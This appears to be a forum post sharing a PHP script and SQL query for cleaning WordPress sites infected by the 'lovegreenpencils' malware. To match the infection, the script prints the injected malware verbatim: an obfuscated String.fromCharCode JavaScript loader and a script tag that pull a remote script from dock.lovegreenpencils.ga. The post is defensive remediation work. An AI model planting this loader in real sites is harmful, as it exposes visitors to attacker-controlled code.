Here is the script I created to clear the infected files on my sites...
Hopefully it helps. This is all I can do for you...
As mentioned you also have to remove the crap in post_content from wp_posts with the following SQL:
UPDATE wp_posts SET post_content = REPLACE(post_content,"",'') WHERE post_content LIKE '%lovegreenpencils%'
and add back in your domain url in the siteurl/home option under wp_options.
Save the following code into a php file and change the settings to get it to work on your system.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit',"256M");
ob_implicit_flush(1);
ob_start();
$backup_dir = "/var/badfiles";
$html_dir = "/var/www";
if(!is_dir($backup_dir)) mkdir($backup_dir);
$dir_iterator = new RecursiveDirectoryIterator($html_dir);
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);
foreach ($iterator as $file) {
if($file == __FILE__) continue;
if (pathinfo($file, PATHINFO_FILENAME) == "wp-beckup") {
backup_file($file);
if(unlink($file)) {
echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
}
}
if (pathinfo($file, PATHINFO_FILENAME) == "lte_") {
backup_file($file);
if(unlink($file)) {
echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
}
}
$bad_text = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (pathinfo($file, PATHINFO_EXTENSION) == "php" ) {
$contents = file_get_contents($file);
if(strpos($contents, $bad_text) !== false) {
backup_file($file);
$contents = str_replace($bad_text, '', $contents);
file_put_contents($file, $contents);
echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
}
}
if (pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "html") {
$bad_text = "<script type='text/javascript' src='https://dock.lovegreenpencils.ga/m.js?n=nb5'></script>";
$contents = file_get_contents($file);
if(strpos($contents, $bad_text) !== false) {
backup_file($file);
$contents = str_replace($bad_text, '', $contents);
file_put_contents($file, $contents);
echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
}
}
$bad_text = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
if (pathinfo($file, PATHINFO_EXTENSION) == "jshintrc" || pathinfo($file, PATHINFO_EXTENSION) == "map" || pathinfo($file, PATHINFO_EXTENSION) == "jsx" || pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "js" || pathinfo($file, PATHINFO_EXTENSION) == "gz" || pathinfo($file, PATHINFO_EXTENSION) == "json") {
$contents = file_get_contents($file);
if(strpos($contents, $bad_text) !== false) {
backup_file($file);
$contents = str_replace($bad_text, '', $contents);
file_put_contents($file, $contents);
echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
}
}
if (pathinfo($file, PATHINFO_FILENAME) == "wp-blog-header" && pathinfo($file, PATHINFO_EXTENSION) == "php") {
$contents = file_get_contents($file);
if(strpos($contents, 'MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=') !== false) {
backup_file($file);
$contents = substr($contents, strpos($contents, "cGFnZV9ub3RfZm91bmRfNDA0")+32);
file_put_contents($file, $contents);
echo "[VCD Found]: Code Removed and Backed Up ({$file})<br>";
}
}
}
function backup_file($file) {
global $backup_dir;
$contents = file_get_contents($file);
if(!is_dir(dirname($backup_dir.$file))) {
mkdir(dirname($backup_dir.$file),0777,true);
}
file_put_contents($backup_dir.$file, $contents);
}
DON'T FORGET TO BACKUP!!